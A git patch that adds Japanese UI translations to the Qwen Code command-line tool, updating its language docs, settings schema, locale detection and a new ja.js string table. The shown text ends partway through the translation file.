From 5aa2d93928892af8f3e10a8081ff5129e70f0de0 Mon Sep 17 00:00:00 2001 From: kanade <55658655+k-kanade@users.noreply.github.com> Date: Fri, 2 Jan 2026 15:53:20 +0900 Subject: [PATCH 01/79] Add Japanese MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 日本語の追加と各言語でのメニュー表記の修正 --- docs/users/features/language.md | 3 + packages/cli/src/config/settingsSchema.ts | 1 + packages/cli/src/i18n/index.ts | 2 + packages/cli/src/i18n/languages.ts | 7 +- packages/cli/src/i18n/locales/en.js | 10 +- packages/cli/src/i18n/locales/ja.js | 884 ++++++++++++++++++ packages/cli/src/i18n/locales/ru.js | 13 +- packages/cli/src/i18n/locales/zh.js | 2 +- .../src/ui/commands/languageCommand.test.ts | 33 + 9 files changed, 949 insertions(+), 6 deletions(-) create mode 100644 packages/cli/src/i18n/locales/ja.js diff --git a/docs/users/features/language.md b/docs/users/features/language.md index e5067a319..22143d03a 100644 --- a/docs/users/features/language.md +++ b/docs/users/features/language.md @@ -25,6 +25,7 @@ Use the `/language ui` command: /language ui en-US # English /language ui ru-RU # Russian /language ui de-DE # German +/language ui ja-JP # Japanese ``` Aliases are also supported: @@ -34,6 +35,7 @@ Aliases are also supported: /language ui en # English /language ui ru # Russian /language ui de # German +/language ui ja # Japanese ``` ### Auto-detection @@ -63,6 +65,7 @@ On first startup, if no `output-language.md` file exists, Qwen Code automaticall - System locale `en` creates a rule for English responses - System locale `ru` creates a rule for Russian responses - System locale `de` creates a rule for German responses +- System locale `ja` creates a rule for Japanese responses ### Manual Setting diff --git a/packages/cli/src/config/settingsSchema.ts b/packages/cli/src/config/settingsSchema.ts index 2fe467ba9..23631c087 100644 --- a/packages/cli/src/config/settingsSchema.ts +++ b/packages/cli/src/config/settingsSchema.ts @@ -202,6 +202,7 @@ const SETTINGS_SCHEMA = { { value: 'en', label: 'English' }, { value: 'zh', label: '中文 (Chinese)' }, { value: 'ru', label: 'Русский (Russian)' }, + { value: 'ja', label: '日本語 (Japanese)' }, ], }, terminalBell: { diff --git a/packages/cli/src/i18n/index.ts b/packages/cli/src/i18n/index.ts index 1338fb571..c699b7f1b 100644 --- a/packages/cli/src/i18n/index.ts +++ b/packages/cli/src/i18n/index.ts @@ -59,12 +59,14 @@ export function detectSystemLanguage(): SupportedLanguage { if (envLang?.startsWith('en')) return 'en'; if (envLang?.startsWith('ru')) return 'ru'; if (envLang?.startsWith('de')) return 'de'; + if (envLang?.startsWith('ja')) return 'ja'; try { const locale = Intl.DateTimeFormat().resolvedOptions().locale; if (locale.startsWith('zh')) return 'zh'; if (locale.startsWith('ru')) return 'ru'; if (locale.startsWith('de')) return 'de'; + if (locale.startsWith('ja')) return 'ja'; } catch { // Fallback to default } diff --git a/packages/cli/src/i18n/languages.ts b/packages/cli/src/i18n/languages.ts index c0e57eefa..0a2798d08 100644 --- a/packages/cli/src/i18n/languages.ts +++ b/packages/cli/src/i18n/languages.ts @@ -4,7 +4,7 @@ * SPDX-License-Identifier: Apache-2.0 */ -export type SupportedLanguage = 'en' | 'zh' | 'ru' | 'de' | string; +export type SupportedLanguage = 'en' | 'zh' | 'ru' | 'de' | 'ja' | string; export interface LanguageDefinition { /** The internal locale code used by the i18n system (e.g., 'en', 'zh'). */ @@ -36,6 +36,11 @@ export const SUPPORTED_LANGUAGES: readonly LanguageDefinition[] = [ id: 'de-DE', fullName: 'German', }, + { + code: 'ja', + id: 'ja-JP', + fullName: 'Japanese', + }, ]; /** diff --git a/packages/cli/src/i18n/locales/en.js b/packages/cli/src/i18n/locales/en.js index fb9475426..39819258a 100644 --- a/packages/cli/src/i18n/locales/en.js +++ b/packages/cli/src/i18n/locales/en.js @@ -388,7 +388,7 @@ export default { // Commands - Language // ============================================================================ 'Invalid language. Available: en-US, zh-CN': - 'Invalid language. Available: en-US, zh-CN', + 'Invalid language. Available: en-US, zh-CN, ru-RU, de-DE, ja-JP', 'Language subcommands do not accept additional arguments.': 'Language subcommands do not accept additional arguments.', 'Current UI language: {{lang}}': 'Current UI language: {{lang}}', @@ -397,7 +397,7 @@ export default { 'LLM output language not set': 'LLM output language not set', 'Set UI language': 'Set UI language', 'Set LLM output language': 'Set LLM output language', - 'Usage: /language ui [zh-CN|en-US]': 'Usage: /language ui [zh-CN|en-US]', + 'Usage: /language ui [zh-CN|en-US]': 'Usage: /language ui [zh-CN|en-US|ru-RU|de-DE|ja-JP]', 'Usage: /language output ': 'Usage: /language output ', 'Example: /language output 中文': 'Example: /language output 中文', 'Example: /language output English': 'Example: /language output English', @@ -417,9 +417,15 @@ export default { 'Available options:': 'Available options:', ' - zh-CN: Simplified Chinese': ' - zh-CN: Simplified Chinese', ' - en-US: English': ' - en-US: English', + ' - ru-RU: Russian': ' - ru-RU: Russian', + ' - de-DE: German': ' - de-DE: German', + ' - ja-JP: Japanese': ' - ja-JP: Japanese', 'Set UI language to Simplified Chinese (zh-CN)': 'Set UI language to Simplified Chinese (zh-CN)', 'Set UI language to English (en-US)': 'Set UI language to English (en-US)', + 'Set UI language to Russian (ru-RU)': 'Set UI language to Russian (ru-RU)', + 'Set UI language to German (de-DE)': 'Set UI language to German (de-DE)', + 'Set UI language to Japanese (ja-JP)': 'Set UI language to Japanese (ja-JP)', // ============================================================================ // Commands - Approval Mode diff --git a/packages/cli/src/i18n/locales/ja.js b/packages/cli/src/i18n/locales/ja.js new file mode 100644 index 000000000..1c33c9d12 --- /dev/null +++ b/packages/cli/src/i18n/locales/ja.js @@ -0,0 +1,884 @@ +/** + * @license + * Copyright 2025 Qwen + * SPDX-License-Identifier: Apache-2.0 + */ + +// Japanese translations for Qwen Code CLI + +export default { + // ============================================================================ + // Help / UI Components + // ============================================================================ + 'Basics:': '基本操作:', + 'Add context': 'コンテキストを追加', + 'Use {{symbol}} to specify files for context (e.g., {{example}}) to target specific files or folders.': + '{{symbol}} を使用してコンテキスト用のファイルを指定します(例: {{example}}) また、特定のファイルやフォルダを対象にできます', + '@': '@', + '@src/myFile.ts': '@src/myFile.ts', + 'Shell mode': 'シェルモード', + 'YOLO mode': 'YOLOモード', + 'plan mode': 'プランモード', + 'auto-accept edits': '編集を自動承認', + 'Accepting edits': '編集を承認中', + '(shift + tab to cycle)': '(Shift + Tab で切り替え)', + 'Execute shell commands via {{symbol}} (e.g., {{example1}}) or use natural language (e.g., {{example2}}).': + '{{symbol}} でシェルコマンドを実行(例: {{example1}})、または自然言語で入力(例: {{example2}})', + '!': '!', + '!npm run start': '!npm run start', + 'start server': 'サーバーを起動', + 'Commands:': 'コマンド:', + 'shell command': 'シェルコマンド', + 'Model Context Protocol command (from external servers)': + 'Model Context Protocol コマンド(外部サーバーから)', + 'Keyboard Shortcuts:': 'キーボードショートカット:', + 'Jump through words in the input': '入力欄の単語間を移動', + 'Close dialogs, cancel requests, or quit application': + 'ダイアログを閉じる、リクエストをキャンセル、またはアプリを終了', + 'New line': '改行', + 'New line (Alt+Enter works for certain linux distros)': + '改行(一部のLinuxディストリビューションではAlt+Enterが有効)', + 'Clear the screen': '画面をクリア', + 'Open input in external editor': '外部エディタで入力を開く', + 'Send message': 'メッセージを送信', + 'Initializing...': '初期化中...', + 'Connecting to MCP servers... ({{connected}}/{{total}})': + 'MCPサーバーに接続中... ({{connected}}/{{total}})', + 'Type your message or @path/to/file': 'メッセージを入力、@パス/ファイルでファイルを添付(D&D対応)', + "Press 'i' for INSERT mode and 'Esc' for NORMAL mode.": + "'i' でINSERTモード、'Esc' でNORMALモード", + 'Cancel operation / Clear input (double press)': + '操作をキャンセル / 入力をクリア(2回押し)', + 'Cycle approval modes': '承認モードを切り替え', + 'Cycle through your prompt history': 'プロンプト履歴を順に表示', + 'For a full list of shortcuts, see {{docPath}}': + 'ショートカットの完全なリストは {{docPath}} を参照', + 'docs/keyboard-shortcuts.md': 'docs/keyboard-shortcuts.md', + 'for help on Qwen Code': 'Qwen Code のヘルプ', + 'show version info': 'バージョン情報を表示', + 'submit a bug report': 'バグレポートを送信', + 'About Qwen Code': 'Qwen Code について', + + // ============================================================================ + // System Information Fields + // ============================================================================ + 'CLI Version': 'CLIバージョン', + 'Git Commit': 'Gitコミット', + Model: 'モデル', + Sandbox: 'サンドボックス', + 'OS Platform': 'OSプラットフォーム', + 'OS Arch': 'OSアーキテクチャ', + 'OS Release': 'OSリリース', + 'Node.js Version': 'Node.js バージョン', + 'NPM Version': 'NPM バージョン', + 'Session ID': 'セッションID', + 'Auth Method': '認証方式', + 'Base URL': 'ベースURL', + 'Memory Usage': 'メモリ使用量', + 'IDE Client': 'IDEクライアント', + + // ============================================================================ + // Commands - General + // ============================================================================ + 'Analyzes the project and creates a tailored QWEN.md file.': + 'プロジェクトを分析し、カスタマイズされた QWEN.md ファイルを作成', + 'list available Qwen Code tools. Usage: /tools [desc]': + '利用可能な Qwen Code ツールを一覧表示。使い方: /tools [desc]', + 'Available Qwen Code CLI tools:': '利用可能な Qwen Code CLI ツール:', + 'No tools available': '利用可能なツールはありません', + 'View or change the approval mode for tool usage': + 'ツール使用の承認モードを表示または変更', + 'View or change the language setting': '言語設定を表示または変更', + 'change the theme': 'テーマを変更', + 'Select Theme': 'テーマを選択', + Preview: 'プレビュー', + '(Use Enter to select, Tab to configure scope)': + '(Enter で選択、Tab でスコープを設定)', + '(Use Enter to apply scope, Tab to select theme)': + '(Enter でスコープを適用、Tab でテーマを選択)', + 'Theme configuration unavailable due to NO_COLOR env variable.': + 'NO_COLOR 環境変数のためテーマ設定は利用できません', + 'Theme "{{themeName}}" not found.': 'テーマ "{{themeName}}" が見つかりません', + 'Theme "{{themeName}}" not found in selected scope.': + '選択したスコープにテーマ "{{themeName}}" が見つかりません', + 'Clear conversation history and free up context': + '会話履歴をクリアしてコンテキストを解放', + 'Compresses the context by replacing it with a summary.': + 'コンテキストを要約に置き換えて圧縮', + 'open full Qwen Code documentation in your browser': + 'ブラウザで Qwen Code のドキュメントを開く', + 'Configuration not available.': '設定が利用できません', + 'change the auth method': '認証方式を変更', + 'Copy the last result or code snippet to clipboard': + '最後の結果またはコードスニペットをクリップボードにコピー', + + // ============================================================================ + // Commands - Agents + // ============================================================================ + 'Manage subagents for specialized task delegation.': + '専門タスクを委任するサブエージェントを管理', + 'Manage existing subagents (view, edit, delete).': + '既存のサブエージェントを管理(表示、編集、削除)', + 'Create a new subagent with guided setup.': + 'ガイド付きセットアップで新しいサブエージェントを作成', + + // ============================================================================ + // Agents - Management Dialog + // ============================================================================ + Agents: 'エージェント', + 'Choose Action': 'アクションを選択', + 'Edit {{name}}': '{{name}} を編集', + 'Edit Tools: {{name}}': 'ツールを編集: {{name}}', + 'Edit Color: {{name}}': '色を編集: {{name}}', + 'Delete {{name}}': '{{name}} を削除', + 'Unknown Step': '不明なステップ', + 'Esc to close': 'Esc で閉じる', + 'Enter to select, ↑↓ to navigate, Esc to close': + 'Enter で選択、↑↓ で移動、Esc で閉じる', + 'Esc to go back': 'Esc で戻る', + 'Enter to confirm, Esc to cancel': 'Enter で確定、Esc でキャンセル', + 'Enter to select, ↑↓ to navigate, Esc to go back': + 'Enter で選択、↑↓ で移動、Esc で戻る', + 'Invalid step: {{step}}': '無効なステップ: {{step}}', + 'No subagents found.': 'サブエージェントが見つかりません', + "Use '/agents create' to create your first subagent.": + "'/agents create' で最初のサブエージェントを作成してください", + '(built-in)': '(組み込み)', + '(overridden by project level agent)': '(プロジェクトレベルのエージェントで上書き)', + 'Project Level ({{path}})': 'プロジェクトレベル ({{path}})', + 'User Level ({{path}})': 'ユーザーレベル ({{path}})', + 'Built-in Agents': '組み込みエージェント', + 'Using: {{count}} agents': '使用中: {{count}} エージェント', + 'View Agent': 'エージェントを表示', + 'Edit Agent': 'エージェントを編集', + 'Delete Agent': 'エージェントを削除', + Back: '戻る', + 'No agent selected': 'エージェントが選択されていません', + 'File Path: ': 'ファイルパス: ', + 'Tools: ': 'ツール: ', + 'Color: ': '色: ', + 'Description:': '説明:', + 'System Prompt:': 'システムプロンプト:', + 'Open in editor': 'エディタで開く', + 'Edit tools': 'ツールを編集', + 'Edit color': '色を編集', + '❌ Error:': '❌ エラー:', + 'Are you sure you want to delete agent "{{name}}"?': + 'エージェント "{{name}}" を削除してもよろしいですか?', + 'Project Level (.qwen/agents/)': 'プロジェクトレベル (.qwen/agents/)', + 'User Level (~/.qwen/agents/)': 'ユーザーレベル (~/.qwen/agents/)', + '✅ Subagent Created Successfully!': '✅ サブエージェントの作成に成功しました!', + 'Subagent "{{name}}" has been saved to {{level}} level.': + 'サブエージェント "{{name}}" を {{level}} に保存しました', + 'Name: ': '名前: ', + 'Location: ': '場所: ', + '❌ Error saving subagent:': '❌ サブエージェント保存エラー:', + 'Warnings:': '警告:', + 'Step {{n}}: Choose Location': 'ステップ {{n}}: 場所を選択', + 'Step {{n}}: Choose Generation Method': 'ステップ {{n}}: 作成方法を選択', + 'Generate with Qwen Code (Recommended)': 'Qwen Code で生成(推奨)', + 'Manual Creation': '手動作成', + 'Generating subagent configuration...': 'サブエージェント設定を生成中...', + 'Failed to generate subagent: {{error}}': 'サブエージェントの生成に失敗: {{error}}', + 'Step {{n}}: Describe Your Subagent': 'ステップ {{n}}: サブエージェントを説明', + 'Step {{n}}: Enter Subagent Name': 'ステップ {{n}}: サブエージェント名を入力', + 'Step {{n}}: Enter System Prompt': 'ステップ {{n}}: システムプロンプトを入力', + 'Step {{n}}: Enter Description': 'ステップ {{n}}: 説明を入力', + 'Step {{n}}: Select Tools': 'ステップ {{n}}: ツールを選択', + 'All Tools (Default)': '全ツール(デフォルト)', + 'All Tools': '全ツール', + 'Read-only Tools': '読み取り専用ツール', + 'Read & Edit Tools': '読み取り＆編集ツール', + 'Read & Edit & Execution Tools': '読み取り＆編集＆実行ツール', + 'Selected tools:': '選択されたツール:', + 'Step {{n}}: Choose Background Color': 'ステップ {{n}}: 背景色を選択', + 'Step {{n}}: Confirm and Save': 'ステップ {{n}}: 確認して保存', + 'Esc to cancel': 'Esc でキャンセル', + cancel: 'キャンセル', + 'go back': '戻る', + '↑↓ to navigate, ': '↑↓ で移動、', + 'Name cannot be empty.': '名前は空にできません', + 'System prompt cannot be empty.': 'システムプロンプトは空にできません', + 'Description cannot be empty.': '説明は空にできません', + 'Failed to launch editor: {{error}}': 'エディタの起動に失敗: {{error}}', + 'Failed to save and edit subagent: {{error}}': + 'サブエージェントの保存と編集に失敗: {{error}}', + 'Name "{{name}}" already exists at {{level}} level - will overwrite existing subagent': + '"{{name}}" は {{level}} に既に存在します - 既存のサブエージェントを上書きします', + 'Name "{{name}}" exists at user level - project level will take precedence': + '"{{name}}" はユーザーレベルに存在します - プロジェクトレベルが優先されます', + 'Name "{{name}}" exists at project level - existing subagent will take precedence': + '"{{name}}" はプロジェクトレベルに存在します - 既存のサブエージェントが優先されます', + 'Description is over {{length}} characters': + '説明が {{length}} 文字を超えています', + 'System prompt is over {{length}} characters': + 'システムプロンプトが {{length}} 文字を超えています', + 'Describe what this subagent should do and when it should be used. (Be comprehensive for best results)': + 'このサブエージェントの役割と使用タイミングを説明してください(詳細に記述するほど良い結果が得られます)', + 'e.g., Expert code reviewer that reviews code based on best practices...': + '例: ベストプラクティスに基づいてコードをレビューするエキスパートレビュアー...', + 'All tools selected, including MCP tools': + 'MCPツールを含むすべてのツールを選択', + 'Read-only tools:': '読み取り専用ツール:', + 'Edit tools:': '編集ツール:', + 'Execution tools:': '実行ツール:', + 'Press Enter to save, e to save and edit, Esc to go back': + 'Enter で保存、e で保存して編集、Esc で戻る', + 'Press Enter to continue, {{navigation}}Esc to {{action}}': + 'Enter で続行、{{navigation}}Esc で{{action}}', + 'Enter a clear, unique name for this subagent.': + 'このサブエージェントの明確で一意な名前を入力してください', + 'e.g., Code Reviewer': '例: コードレビュアー', + "Write the system prompt that defines this subagent's behavior. Be comprehensive for best results.": + 'このサブエージェントの動作を定義するシステムプロンプトを記述してください (詳細に書くほど良い結果が得られます)', + 'e.g., You are an expert code reviewer...': + '例: あなたはエキスパートコードレビュアーです...', + 'Describe when and how this subagent should be used.': + 'このサブエージェントをいつどのように使用するかを説明してください', + 'e.g., Reviews code for best practices and potential bugs.': + '例: ベストプラクティスと潜在的なバグについてコードをレビューします。', + // Commands - General (continued) + '(Use Enter to select{{tabText}})': '(Enter で選択{{tabText}})', + ', Tab to change focus': '、Tab でフォーカス変更', + 'To see changes, Qwen Code must be restarted. Press r to exit and apply changes now.': + '変更を確認するには Qwen Code を再起動する必要があります。 r を押して終了し、変更を適用してください', + 'The command "/{{command}}" is not supported in non-interactive mode.': + 'コマンド "/{{command}}" は非対話モードではサポートされていません', + 'View and edit Qwen Code settings': 'Qwen Code の設定を表示・編集', + Settings: '設定', + 'Vim Mode': 'Vim モード', + 'Disable Auto Update': '自動更新を無効化', + Language: '言語', + 'Output Format': '出力形式', + 'Hide Tips': 'ヒントを非表示', + 'Hide Banner': 'バナーを非表示', + 'Show Memory Usage': 'メモリ使用量を表示', + 'Show Line Numbers': '行番号を表示', + Text: 'テキスト', + JSON: 'JSON', + Plan: 'プラン', + Default: 'デフォルト', + 'Auto Edit': '自動編集', + YOLO: 'YOLO', + 'toggle vim mode on/off': 'Vim モードのオン/オフを切り替え', + 'exit the cli': 'CLIを終了', + Timeout: 'タイムアウト', + 'Max Retries': '最大リトライ回数', + 'Auto Accept': '自動承認', + 'Folder Trust': 'フォルダの信頼', + 'Enable Prompt Completion': 'プロンプト補完を有効化', + 'Debug Keystroke Logging': 'キーストロークのデバッグログ', + 'Hide Window Title': 'ウィンドウタイトルを非表示', + 'Show Status in Title': 'タイトルにステータスを表示', + 'Hide Context Summary': 'コンテキスト要約を非表示', + 'Hide CWD': '作業ディレクトリを非表示', + 'Hide Sandbox Status': 'サンドボックス状態を非表示', + 'Hide Model Info': 'モデル情報を非表示', + 'Hide Footer': 'フッターを非表示', + 'Show Citations': '引用を表示', + 'Custom Witty Phrases': 'カスタムウィットフレーズ', + 'Enable Welcome Back': 'ウェルカムバック機能を有効化', + 'Disable Loading Phrases': 'ローディングフレーズを無効化', + 'Screen Reader Mode': 'スクリーンリーダーモード', + 'IDE Mode': 'IDEモード', + 'Max Session Turns': '最大セッションターン数', + 'Skip Next Speaker Check': '次の発言者チェックをスキップ', + 'Skip Loop Detection': 'ループ検出をスキップ', + 'Skip Startup Context': '起動時コンテキストをスキップ', + 'Enable OpenAI Logging': 'OpenAI ログを有効化', + 'OpenAI Logging Directory': 'OpenAI ログディレクトリ', + 'Disable Cache Control': 'キャッシュ制御を無効化', + 'Memory Discovery Max Dirs': 'メモリ検出の最大ディレクトリ数', + 'Load Memory From Include Directories': 'インクルードディレクトリからメモリを読み込み', + 'Respect .gitignore': '.gitignore を優先', + 'Respect .qwenignore': '.qwenignore を優先', + 'Enable Recursive File Search': '再帰的ファイル検索を有効化', + 'Disable Fuzzy Search': 'ファジー検索を無効化', + 'Enable Interactive Shell': '対話型シェルを有効化', + 'Show Color': '色を表示', + 'Use Ripgrep': 'Ripgrep を使用', + 'Use Builtin Ripgrep': '組み込み Ripgrep を使用', + 'Enable Tool Output Truncation': 'ツール出力の切り詰めを有効化', + 'Tool Output Truncation Threshold': 'ツール出力切り詰めのしきい値', + 'Tool Output Truncation Lines': 'ツール出力の切り詰め行数', + 'Vision Model Preview': 'ビジョンモデルプレビュー', + 'Tool Schema Compliance': 'ツールスキーマ準拠', + 'Auto (detect from system)': '自動(システムから検出)', + 'check session stats. Usage: /stats [model|tools]': + 'セッション統計を確認。使い方: /stats [model|tools]', + 'Show model-specific usage statistics.': 'モデル別の使用統計を表示', + 'Show tool-specific usage statistics.': 'ツール別の使用統計を表示', + 'list configured MCP servers and tools, or authenticate with OAuth-enabled servers': + '設定済みのMCPサーバーとツールを一覧表示、またはOAuth対応サーバーで認証', + 'Manage workspace directories': 'ワークスペースディレクトリを管理', + 'Add directories to the workspace. Use comma to separate multiple paths': + 'ワークスペースにディレクトリを追加。複数パスはカンマで区切ってください', + 'Show all directories in the workspace': 'ワークスペース内のすべてのディレクトリを表示', + 'set external editor preference': '外部エディタの設定', + 'Manage extensions': '拡張機能を管理', + 'List active extensions': '有効な拡張機能を一覧表示', + 'Update extensions. Usage: update |--all': + '拡張機能を更新。使い方: update <拡張機能名>|--all', + 'manage IDE integration': 'IDE連携を管理', + 'check status of IDE integration': 'IDE連携の状態を確認', + 'install required IDE companion for {{ideName}}': + '{{ideName}} 用の必要なIDEコンパニオンをインストール', + 'enable IDE integration': 'IDE連携を有効化', + 'disable IDE integration': 'IDE連携を無効化', + 'IDE integration is not supported in your current environment. To use this feature, run Qwen Code in one of these supported IDEs: VS Code or VS Code forks.': + '現在の環境ではIDE連携はサポートされていません。この機能を使用するには、VS Code または VS Code 派生エディタで Qwen Code を実行してください', + 'Set up GitHub Actions': 'GitHub Actions を設定', + 'Configure terminal keybindings for multiline input (VS Code, Cursor, Windsurf, Trae)': + '複数行入力用のターミナルキーバインドを設定(VS Code、Cursor、Windsurf、Trae)', + 'Please restart your terminal for the changes to take effect.': + '変更を有効にするにはターミナルを再起動してください', + 'Failed to configure terminal: {{error}}': 'ターミナルの設定に失敗: {{error}}', + 'Could not determine {{terminalName}} config path on Windows: APPDATA environment variable is not set.': + 'Windows で {{terminalName}} の設定パスを特定できません: APPDATA 環境変数が設定されていません', + '{{terminalName}} keybindings.json exists but is not a valid JSON array. Please fix the file manually or delete it to allow automatic configuration.': + '{{terminalName}} の keybindings.json は存在しますが、有効なJSON配列ではありません。ファイルを手動で修正するか、削除して自動設定を許可してください', + 'File: {{file}}': 'ファイル: {{file}}', + 'Failed to parse {{terminalName}} keybindings.json. The file contains invalid JSON. Please fix the file manually or delete it to allow automatic configuration.': + '{{terminalName}} の keybindings.json の解析に失敗しました。ファイルに無効なJSONが含まれています。手動で修正するか、削除して自動設定を許可してください', + 'Error: {{error}}': 'エラー: {{error}}', + 'Shift+Enter binding already exists': 'Shift+Enter バインドは既に存在します', + 'Ctrl+Enter binding already exists': 'Ctrl+Enter バインドは既に存在します', + 'Existing keybindings detected. Will not modify to avoid conflicts.': + '既存のキーバインドが検出されました。競合を避けるため変更をしません', + 'Please check and modify manually if needed: {{file}}': + '必要に応じて手動で確認・変更してください: {{file}}', + 'Added Shift+Enter and Ctrl+Enter keybindings to {{terminalName}}.': + '{{terminalName}} に Shift+Enter と Ctrl+Enter のキーバインドを追加しました', + 'Modified: {{file}}': '変更済み: {{file}}', + '{{terminalName}} keybindings already configured.': + '{{terminalName}} のキーバインドは既に設定されています', + 'Failed to configure {{terminalName}}.': '{{terminalName}} の設定に失敗しました', + 'Your terminal is already configured for an optimal experience with multiline input (Shift+Enter and Ctrl+Enter).': + 'ターミナルは複数行入力(Shift+Enter と Ctrl+Enter)に最適化されています', + 'Could not detect terminal type. Supported terminals: VS Code, Cursor, Windsurf, and Trae.': + 'ターミナルの種類を検出できませんでした。サポートされているターミナル: VS Code、Cursor、Windsurf、Trae', + 'Terminal "{{terminal}}" is not supported yet.': + 'ターミナル "{{terminal}}" はまだサポートされていません', + // Commands - Language + 'Invalid language. Available: en-US, zh-CN': + '無効な言語です。使用可能: en-US, zh-CN, ru-RU, de-DE, ja-JP', + 'Language subcommands do not accept additional arguments.': + '言語サブコマンドは追加の引数を受け付けません', + 'Current UI language: {{lang}}': '現在のUI言語: {{lang}}', + 'Current LLM output language: {{lang}}': '現在のLLM出力言語: {{lang}}', + 'LLM output language not set': 'LLM出力言語が設定されていません', + 'Set UI language': 'UI言語を設定', + 'Set LLM output language': 'LLM出力言語を設定', + 'Usage: /language ui [zh-CN|en-US]': '使い方: /language ui [zh-CN|en-US|ru-RU|de-DE|ja-JP]', + 'Usage: /language output ': '使い方: /language output <言語>', + 'Example: /language output 中文': '例: /language output 中文', + 'Example: /language output English': '例: /language output English', + 'Example: /language output 日本語': '例: /language output 日本語', + 'UI language changed to {{lang}}': 'UI言語を {{lang}} に変更しました', + 'LLM output language rule file generated at {{path}}': + 'LLM出力言語ルールファイルを {{path}} に生成しました', + 'Please restart the application for the changes to take effect.': + '変更を有効にするにはアプリケーションを再起動してください', + 'Failed to generate LLM output language rule file: {{error}}': + 'LLM出力言語ルールファイルの生成に失敗: {{error}}', + 'Invalid command. Available subcommands:': + '無効なコマンドです。使用可能なサブコマンド:', + 'Available subcommands:': '使用可能なサブコマンド:', + 'To request additional UI language packs, please open an issue on GitHub.': + '追加のUI言語パックをリクエストするには、GitHub で Issue を作成してください', + 'Available options:': '使用可能なオプション:', + ' - zh-CN: Simplified Chinese': ' - zh-CN: 簡体字中国語', + ' - en-US: English': ' - en-US: 英語', + ' - ru-RU: Russian': ' - ru-RU: ロシア語', + ' - de-DE: German': ' - de-DE: ドイツ語', + ' - ja-JP: Japanese': ' - ja-JP: 日本語', + 'Set UI language to Simplified Chinese (zh-CN)': + 'UI言語を簡体字中国語(zh-CN)に設定', + 'Set UI language to English (en-US)': 'UI言語を英語(en-US)に設定', + 'Set UI language to Russian (ru-RU)': 'UI言語をロシア語(ru-RU)に設定', + 'Set UI language to German (de-DE)': 'UI言語をドイツ語(de-DE)に設定', + 'Set UI language to Japanese (ja-JP)': 'UI言語を日本語(ja-JP)に設定', + // Approval Mode + 'Approval Mode': '承認モード', + 'Current approval mode: {{mode}}': '現在の承認モード: {{mode}}', + 'Available approval modes:': '利用可能な承認モード:', + 'Approval mode changed to: {{mode}}': '承認モードを変更しました: {{mode}}', + 'Approval mode changed to: {{mode}} (saved to {{scope}} settings{{location}})': + '承認モードを {{mode}} に変更しました({{scope}} 設定{{location}}に保存)', + 'Usage: /approval-mode [--session|--user|--project]': + '使い方: /approval-mode <モード> [--session|--user|--project]', + 'Scope subcommands do not accept additional arguments.': + 'スコープサブコマンドは追加の引数を受け付けません', + 'Plan mode - Analyze only, do not modify files or execute commands': + 'プランモード - 分析のみ、ファイルの変更やコマンドの実行はしません', + 'Default mode - Require approval for file edits or shell commands': + 'デフォルトモード - ファイル編集やシェルコマンドには承認が必要', + 'Auto-edit mode - Automatically approve file edits': + '自動編集モード - ファイル編集を自動承認', + 'YOLO mode - Automatically approve all tools': + 'YOLOモード - すべてのツールを自動承認', + '{{mode}} mode': '{{mode}}モード', + 'Settings service is not available; unable to persist the approval mode.': + '設定サービスが利用できません。承認モードを保存できません', + 'Failed to save approval mode: {{error}}': '承認モードの保存に失敗: {{error}}', + 'Failed to change approval mode: {{error}}': '承認モードの変更に失敗: {{error}}', + 'Apply to current session only (temporary)': '現在のセッションのみに適用(一時的)', + 'Persist for this project/workspace': 'このプロジェクト/ワークスペースに保存', + 'Persist for this user on this machine': 'このマシンのこのユーザーに保存', + 'Analyze only, do not modify files or execute commands': + '分析のみ、ファイルの変更やコマンドの実行はしません', + 'Require approval for file edits or shell commands': + 'ファイル編集やシェルコマンドには承認が必要', + 'Automatically approve file edits': 'ファイル編集を自動承認', + 'Automatically approve all tools': 'すべてのツールを自動承認', + 'Workspace approval mode exists and takes priority. User-level change will have no effect.': + 'ワークスペースの承認モードが存在し、優先されます。ユーザーレベルの変更は効果がありません', + '(Use Enter to select, Tab to change focus)': + '(Enter で選択、Tab でフォーカス変更)', + 'Apply To': '適用先', + 'User Settings': 'ユーザー設定', + 'Workspace Settings': 'ワークスペース設定', + // Memory + 'Commands for interacting with memory.': 'メモリ操作のコマンド', + 'Show the current memory contents.': '現在のメモリ内容を表示', + 'Show project-level memory contents.': 'プロジェクトレベルのメモリ内容を表示', + 'Show global memory contents.': 'グローバルメモリ内容を表示', + 'Add content to project-level memory.': 'プロジェクトレベルのメモリにコンテンツを追加', + 'Add content to global memory.': 'グローバルメモリにコンテンツを追加', + 'Refresh the memory from the source.': 'ソースからメモリを更新', + 'Usage: /memory add --project ': + '使い方: /memory add --project <記憶するテキスト>', + 'Usage: /memory add --global ': + '使い方: /memory add --global <記憶するテキスト>', + 'Attempting to save to project memory: "{{text}}"': + 'プロジェクトメモリへの保存を試行中: "{{text}}"', + 'Attempting to save to global memory: "{{text}}"': + 'グローバルメモリへの保存を試行中: "{{text}}"', + 'Current memory content from {{count}} file(s):': + '{{count}} 個のファイルからの現在のメモリ内容:', + 'Memory is currently empty.': 'メモリは現在空です', + 'Project memory file not found or is currently empty.': + 'プロジェクトメモリファイルが見つからないか、現在空です', + 'Global memory file not found or is currently empty.': + 'グローバルメモリファイルが見つからないか、現在空です', + 'Global memory is currently empty.': 'グローバルメモリは現在空です', + 'Global memory content:\n\n---\n{{content}}\n---': + 'グローバルメモリ内容:\n\n---\n{{content}}\n---', + 'Project memory content from {{path}}:\n\n---\n{{content}}\n---': + '{{path}} からのプロジェクトメモリ内容:\n\n---\n{{content}}\n---', + 'Project memory is currently empty.': 'プロジェクトメモリは現在空です', + 'Refreshing memory from source files...': 'ソースファイルからメモリを更新中...', + 'Add content to the memory. Use --global for global memory or --project for project memory.': + 'メモリにコンテンツを追加。グローバルメモリには --global、プロジェクトメモリには --project を使用', + 'Usage: /memory add [--global|--project] ': + '使い方: /memory add [--global|--project] <記憶するテキスト>', + 'Attempting to save to memory {{scope}}: "{{fact}}"': + 'メモリ {{scope}} への保存を試行中: "{{fact}}"', + // MCP + 'Authenticate with an OAuth-enabled MCP server': + 'OAuth対応のMCPサーバーで認証', + 'List configured MCP servers and tools': + '設定済みのMCPサーバーとツールを一覧表示', + 'No MCP servers configured.': 'MCPサーバーが設定されていません', + 'Restarts MCP servers.': 'MCPサーバーを再起動します', + 'Config not loaded.': '設定が読み込まれていません', + 'Could not retrieve tool registry.': 'ツールレジストリを取得できませんでした', + 'No MCP servers configured with OAuth authentication.': + 'OAuth認証が設定されたMCPサーバーはありません', + 'MCP servers with OAuth authentication:': + 'OAuth認証のMCPサーバー:', + 